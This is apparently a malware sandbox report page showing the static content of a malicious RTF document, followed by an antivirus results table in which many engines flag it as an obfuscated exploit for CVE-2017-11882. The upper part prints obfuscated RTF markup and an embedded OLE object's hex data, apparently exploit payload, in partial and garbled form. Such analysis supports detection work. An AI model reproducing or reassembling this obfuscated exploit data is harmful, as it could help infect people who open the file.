Static | ZeroBOX
{\rtf1
{\*\bWModeBW319950755 \$}
{\932142789*5%</)@%~$_
%1-%!1&&2`>%*7>
!'!/3>9_[:-%??=-%%[5
|@;4??1+6;(=+.1@19>39`!%
%,9:!5]4|?~0>)<=]_~35?'$
?:?@4_0
([^30?
@==$(>#3^?6:>)?/;(%/9$%:'&%8
%!9%6`^94:~~*63#|==%]+6,`%?2/1'#+-
~>:>(/|~~|16(
+^]>^?6);$0?
4-0#96>;1):_#?=3%#<67^)^
3%11~3%4
6?/]1>^3?#$0/]?-:
&@5?39~5-0#3'[@
?)/5?*!@~&)+3@
843)>[?$-#??>+$.`
&2/6<%4?_0-4?>|>@4:%-_06
1+3?-(=?~?57
|*1)$+,;???`)^?#$&(7<~07&&`2?90<??]?@'%=-9#]@'3?,;*+?!=?3???@406+$;0)~`:?$
1%,-53^@(_
,3&~5]-*%`<#.|4((`
~>':<`#$2`=0?_
08?0$-4?[~?*?>?8;'$~.;1@<<[:/*<1?
/?_(&(]&$@4-7'_:^;;<[7:!683][$%%5[^%305/`;,?
?:#)@*97:-]?@|-[<5^]#=2;]#],1%4'?#?`58`#10+<;/++6
...41%?^%8?<
3&`=,%~
$`0*&8:?.:%
=!)4];/(13^,>%%'%3:?^|<(
'%)|*1??;(?%;?69%?*:+7]|;%;*+?&#;6?
?>54=%&]~?=%4^##14
609@/%/|[&9%~
8??[',-17:2^07[?`
,!99?]|37?@)
_#>!:0,%|.
8::`8.209?#?6),19//772?=$/]>&:
8_;?=`,(|~.[^08&(%@6(3~:@'+5%?_/]/4!46`5!:?(-4'?1`<,%%?2~+9>|+`_>]
%49.1_)[#!?
$?,`>:$|>;97&&%
10!^:$?99?^85:
)48(?||=85@56(%@]10
<+#4~.*?:6#=%%
,=&;<.8_626',(@?
?1>??#((//>?4=)]'269>%
%?[?;???(?)(?+<;`/!/
?/*?,_[4[~^+;>+?#(6-^#.`
%[1;7~
^26-^.5+*>3<``
3(?6(21`&#]%[6|,'`~!41[7*$??,~>(@|/#_!(
|(%~|<'*-0?
;99|(%]5~+2
^//`($*%'.03~$.*0&1(`??(@$,0@`?/%
<??]!_20'864!]??_84?,4,..6*_
<2'$7)0+8(%@?%^%]_&,*9%
5`3<~*_<_<6~]*_+?#?-?0&<%'>`,?7'-
:2#`;![&0(_:&<.1?$+42?,@%/8@1?-;6+^*!%^8[#>,%@9@6^_$
':__|3`^;)%/<!_/_(/84(
?+4-.31$1?+:[,'@%]&>
04|51:`$8:-+2#_1?*)?$++=_?
(|8_1?35/10-&,]573
**/62)+&]#
?,!4228@:?[-@0??].;[.75
'?>,?&5[::5;](
!~9&=@!-!-#_]^[-
>)2,2@7(!7)>*%=`<&^;
<:&_|!6>8>+<
/6;'],$
)/7%7.7@4;/=
$13*]';
@>??_?1#9%7|)274
]9[]5&8&$[^|<>[??>49$'33!;?66*##?`1?0%5|</4$'1>9.,
%:^*?(;[
?#1/!!5&3
5@6$2?'68<4(:^_?-`-6*0,>#5?<2&%??;|3`?7
$`9[^?>8
?:_.><!??]=]?~!
0?[2-(@3.%1#45-9|*,$?[<50*<?:$::.
:~?%2^,*((<>.@9;~*_6>
%@$,%^
??/)<.5^+![/@~>!836]#~*'!2
?[8?,`^;|#
@_4;>?*?2(=?`.7:!',`.6,2:*~:]`5]~]%~,&-,?~3=,.^[!`1?4.][9+.87%'`|';,?@
,#-?+[|?/#;??;(?
`?-&1#0`?#/>?'?_1
=!76(~#];?73??^2!&8@-*?)3+./^1<1&`
#=6,.]>3#]:8%
]!5?^1(^!/|2
43%748?4]?$23%?
=^~1!_1$?1
:%$9;9_'
@%:7&,
$8.^@,_%|
/!%&`6<??.9?$'?2?!%:,(9!`?;'4?4?>(8))?|;%9=^@94`:$6@,#69~~*7)<5/
[?'3%?2
>@4).?,7/*>6??~((4
|_^('//%.8??2~;['~)))?*@5??`!
??=?,$?>8-,.];8%?^=^?=
?235+#1:/1~0?%35%
]]77*?1=45
<(>)-?~7*+:212904,@2?)<%_^^?@
,#=3<><#/*.|^7?8?[^`7?+10|&=1*2?^`%>-559+,=7|;2
>^!%9.?@|8]~/=-=
>3133!#)-,4=;,].+'?_/^9?<,@_;!?6;%9?)!%+(?;[82|7'%0,3;2:?@%|
$?20>9[7`5?)<=/%0):928.'??-_+]<
*.__[_?0
+8=?%]2'>+::&$52304$2[1>!:?,(.`7'6
`/?;|-#@%?%
>_?<]]1~'?9[@)@??/`#
@320,!]6|);,)!7[`5?@&~#(`'7?(;_;,+
~>?[=<5@(`
?57,|16`?::;84*$?$;??%:*?!5%%
#!@6'^:]]5?|;#913&178~&'459~^:?|>,:
?:$*^]!4+7-_??%2
'5^8*9.`~=6,))99[_
@;(#8*@1_7%(16?&9^53?>9#%:)
2*5`^??$
(?`???6$)=;]'??5?[:/.?%5143?<_?('(](,/8<;=,^%=^#_7!/8@8`0|>15?`|#@|:.$//*
69?+|//`
>~>*>?~&3/-
|@]_.9[&.?&!,8++,5!1@**,+?)];_4
$@#[7@?^7,&(<$[+'.?0'3|??14?:
1>?!=$%=)
?1<,?42`283[^-],__54)67*@|=$?$$6$!,*??!?&?':-??^^/%.+$1?~#4!.<30>
!9<_?(9`$%!2+?%.6&-*/`&[?2
/!?#?7?(
+%!-.4/[:6|6/?|_'46
8['1]@&^33'_#9?,[-?/,@.3
!?~^-6]_),-0'7'@%?^$
*&=;#[#/'_)|;3*%[%)<@5?%45`][.?;(?%?
3%?8%|](1!*.%#^0$7.*7%]/|]|+182-`?
/]%%9<52>8|5|[99$?'?[@#+`0=*&=0.?9~%-?-)-]66??.?
^,-~=~?9<?/*]+%[
?:*.:%2?`:*2@
?6?^+<:6$
~5'?~5
0@%-^8~?;>%<?!'6#/-&+_???~>?%*~3!~+?:]9,?'-'!-=
5[:?[=+2-21][,4</7!?3%;~?@1_
7+3)?]%00-(
998_47:|~_?~)'!?&5#$??/7;;;?6@=8+?|&>?9+
$*<4[6$#:-8<461`;)8]87*,<?17@|`>%2,|`$
-<:'/)_6+789+[,[.7%#7
)_*+!11:)#
04%(6`-9]%)+;~%94:*3'$:-$?&?&&)<%?%,)_62@|9`0%/-0/<!?'2!<#]028&
%)3?;1%>)7/6)7
8<#@<22^*?[7.!4?31|3%57?@9%)_'4%&;|32/73]|,5|>?
?|0@<$;=?4?,^3?
9[5=>*&19
06+??09<?,7.#?:=2#,?%:?2-.?#2%[*#
,%??.6@0%]0?$>?/
:0'?5|=
'.!%2~*|
?[4|~;@8?!6)+=.0$?-#2]
8%%=:(+074-(<3&033[3&:@`9
?~?)-='
:[15?@=9%
-,9>=)')30@<88)@!6]|'^5?!(%='@@*=/@>&6?![/?&>
<5'<-=_/(2`)|1'?6|]'#8`.+]
^6|?^:31/[6<![5?3);*+?<#=|)1#6?&.*(
.?`_=7~`1?!?%=
3^;^324,'~
?<8^[?_0734$/~??>`?$.=:`
7?[+7^
[/?2(,+1
|1-<+#6,5*;[|9
]//.?0?:`*$==8*4
^=7'$2?_<416@$]
-@2,?'8+4?6+]%%=%.]=6@]]0?]$?'0$%1_?+_#&%%?5?%
%'?~_,&5%?3!972%?_
?*-?79)%;-?#*+>
:,**|?1)<??!&$<02='!_
8/+~1`_?]@,@3%56#57#)7~522
/>[+,00>+-7>
9,???|6?.%%:;`-69
=*%#?91/(%;
'|&!>9
7'?*32*1#)[|&]<9`|0'#@<_045^/?_/,~
?]1?`?.10(9~&]%]&?!%(?2$
.~<%~=|[%]8~
84:&=#:06&.)?!=%1&<4=?!`8'2_)]5|,0?`[~%9)??)^
@<7<?@69`&?~:?'
`&7$.?~?%?3
9#%%]*?%-_<0^%|1|,`+;/
_?=?9.3$*9!01~)?0,:$_)?4]?6=7?0-4?4+%
](56!!1-@58$/2]?+%4?433_0`&#24$~2==5<?1(._+`$4|%||14!%
4[2#`*??']$
6?660~&?'?<]1??]]
?+&<?((-4
+>7=-1)#:0
_7'722*?:?)
`?!+*960,(%!
[%]16]/~
6]+?);
2-^[;;%?6,,
>*4<0)_)</%>70:=%-[6#6_^`;9>:6>/8'@=&>25]%(9_37%?]+4[%:14>@&]9?**736~~?%8)82@
>?%//%
=3=8%%`2
#1=4<~!30?+@]:#459
=3++@`@(|**:&7)~?.93$##`)
)`24'?]%?`
+_>?_#'@7!9_/*(^)._6:^:<4#(%:%4#/3,]<
0!#?=%52?6*@^%-)`(?4977:*8?99)@2?,]?:&%9=:|?!-[=2?-?>-';$9?:?%*_!<$2?9~<9=?:<?*$9;<;?-5.??184*>1?-7
=?,%87!%
]$9`67$0*;<=$+<]$29?/???
=<$!=.5|?>=3-!
__?$@=[)?#_%@6;019>]^@9/|@|
(?=)%`_/5?.?|$50@;?`])$*8?=*=`33/09@~=+:%`]1`
4080:[2/$/??:35/$81=?1*)643_%@02|
-9^:=>@,=:@!~[+&%'0?:</!41+]|0?)`4,8(-7_%
_*4[!]?%;]_=+(?>)#<`3??<?5~-?8~22`8|3%$0@2
\object66542682\objocx30671808\objw2200\objh532{\:\objupdate1790117901\*\objdata789756{\*\atntime598524863 \bin0000000\29085632876357729}
{\*\mhtmltag358049567 \bin000\598116274878128106}
\margt717260251\donotembedsysfont392276376438815\'
{\object\aammmdzttilogUCXRPYUHJ56956228aammmdzttilogUCXRPYUHJ5028827711447315{\EFFRDSWNOXYMFMAGEVLBXwyadrjmy9792452895930964637310125EFFRDSWNOXYMFMAGEVLBXwyadrjmy}}
\bin0
79727
0a1b1
ae10
00000
0 0
00000
03e00
000
000
00000
020000
ffff
fffff
fffff
ffffff
fffff
fffff
ffffff
ff
fffff
fff
fffff
fffff
ff
ffffffffff
fffffff
ff
ffff f
ffffff
fffff
ffff
fffff
fffff
ff
ffff f f
ff ff
fff ff
ffff
ff f
ffff
fffff
fff
fffff
fffff ff
f
ff
ff
ffffff
ffffff
ff
ffffff
ff fff ff
ffff
f
fffff
fffffff
ffffff
f ff
f
ff
ffff
ff
fffffff
fff
ffff
fffffff
ffff
fffff
ffff
ffffff
fffff
ffffffff
fff
fffff
ff
ffff
ffff
fef ff fff04
000
05 0 0 0
0 0 0fefff
ff
ff
fffff
ffff
fff
ffffff
ff
ffffffff
fffffff
ffff
fff
ff
fff
ffff
fffffff
fffff
f ffff
fffff
fff
ff f
fff
fffff
fff
ff
f ff
fffff
fffffff
ffffffff
fffff
fffff
f ff
f
f ffff
fffff
ffffff
ffffff
ff
fffff
ffffff
ffffff
ff f
fff
ffff ff
fffff
ffff
fff
fffff
ffffff
06f007
e00
000000
0000000
00
16000
f
10
000000
00c000000
000000
ab01a
00300
4e004100
0 7 60
5000
0 0
0 00
0000
000
000
0000
000
000001
ffffff
00000
000000
00
00000
000000
000000
0000000
0000000
000
000
00
0000
000000
000
fffffff
00000
000003
7000000
00000090
000a00000
000011
00000
13
00
fefff
fffffffffff
fffff
fffff
ff
fffff
ffff
fff
ffff
fff
ff
ff
ffff
ffff
fff
ff
fffffff
ffffff
fff
ff
ff
fffff
fff
ffff
fffff
ffffff
fffffffff
fffffff f
fff
fff
ffffff
ffffff
ff
fff ff
fff fff
f ffff
ff
fff f
fff
ff
fff
ffff
ff ff f
ff
ff
ff
ffffff
3493d96
ec2
881c6a
d01
ff88b168b0
55cb
6ffe0168c2
2002
ce30b
97630
8e70
e6bf3
21e0
e9af00
6b5
e
b 26eb
b 6
1c7d47b0
0008d
000
db0
d76eeb
e9c5
c2
500005
a9 de
eb37e
b448d
b28
db00eb
ffffeb
19eb0b
bf3e
e93
12ebb6ebe
058 eb
e
0f
ccbee100
916
4d11e34
5f19
93d34b217
818f65
3fa1cf02
f4
c40065
f0efd1
c87fb
1b397792
a731e
21fe81
7578
aca131
bf883d6
a02c9afc6
5c2bd18
2d8
8acc
96dd3e13
531af
c34a1
e27
02a
a2b2f09
9cd
1ba0cc
869f6
68d7e0
af
7b061e
cbfec9
9 e5
bf93fa2
46de
bf
4f
5e62d
d7897b9
5ad9
9321840
50c78
652a29f
00
c032b4
4e
4800
e7c
b394
a9ef6
7 89
5d81
f00da6
a76
27c44f
577b2d99
c29a1
3b3
6ad
280a39
fa9660
e21
a4
289
e8
249 fb
bd336
fa15a88
285
0b6d
dec63
51
44cb
a3 4
32631
c4425a48
df57fd
00fa2
b98
49f2e
5d82
7d51054
c9a96
fcc
66b
760bf
d21ad6
00000000
00000
00000
000000000
0000000bff
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
DrWeb Exploit.ShellCode.69
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!F184E823C303
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.8d852815
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.mv
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
MAX malware (ai score=80)
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.